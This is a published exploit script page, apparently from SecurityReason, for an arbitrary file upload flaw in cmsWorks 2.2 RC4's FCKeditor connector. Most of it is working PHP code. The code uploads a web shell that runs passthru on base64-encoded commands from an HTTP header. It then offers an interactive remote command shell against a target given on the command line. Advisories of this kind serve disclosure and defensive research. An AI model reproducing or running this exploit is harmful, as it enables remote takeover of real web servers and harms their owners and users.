SecurityReason - cmsWorks 2.2 RC4 (fckeditor) Remote Arbitrary File Upload Exploit ( Exploit )

Exploit Code :

<?php
/*
-----------------------------------------------------------------
cmsWorks 2.2 RC4 (fckeditor) Remote Arbitrary File Upload Exploit
-----------------------------------------------------------------
discovered by Stack
exploited by ..: EgiX
special thnx to EgiX
details..: works only with a specific server configuration (e.g. an Apache
server with the mod_mime module installed)

[-] vulnerable code in
path/admin/include/FCKeditor/editor/filemanager/browser/mcpuk/connectors/ph
p/config.php

121. //File Area
122. $fckphp_config['ResourceAreas']['File'] =array(
123.
124. //Files(identified by extension) that may be uploaded to this area
125. 'AllowedExtensions' =>
array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","m
pg","mpeg","swf","fla"),

with a default configuration of this script, an attacker might be able to
upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't
properly checked
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function upload()
{
global $host, $path;

$connector =
"/admin/include/FCKeditor/editor/filemanager/browser/mcpuk/connectors/php/c
onfig.php";
$file_ext = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv");

foreach ($file_ext as $ext)
{
print "\n[-] Trying to upload with .{$ext} extension...";

$data = "--12345\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\";
filename=\"sh.php.{$ext}\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php
\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print
(_code_)} ?>\r\n";
$data .= "--12345--\r\n";

$packet = "POST
{$path}{$connector}?Command=FileUpload&CurrentFolder={$path}
HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;

preg_match("/OnUploadCompleted$(.*),'(.*)'$/i", http_send($host,
$packet), $html);

if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed!
(Error {$html[1]}: {$html[2]})\n");

$packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);

if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;

sleep(1);
}

return false;
}
print
"\n+--------------------------------------------------------------------+";

print "\n| cmsWorks 2.2 RC4 (fckeditor) Remote Arbitrary File Upload
Exploit |";
print
"\n+--------------------------------------------------------------------+\n
";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /achievo/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\nStack-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $html);
print "\n{$shell[1]}";
}
else break;
}
?>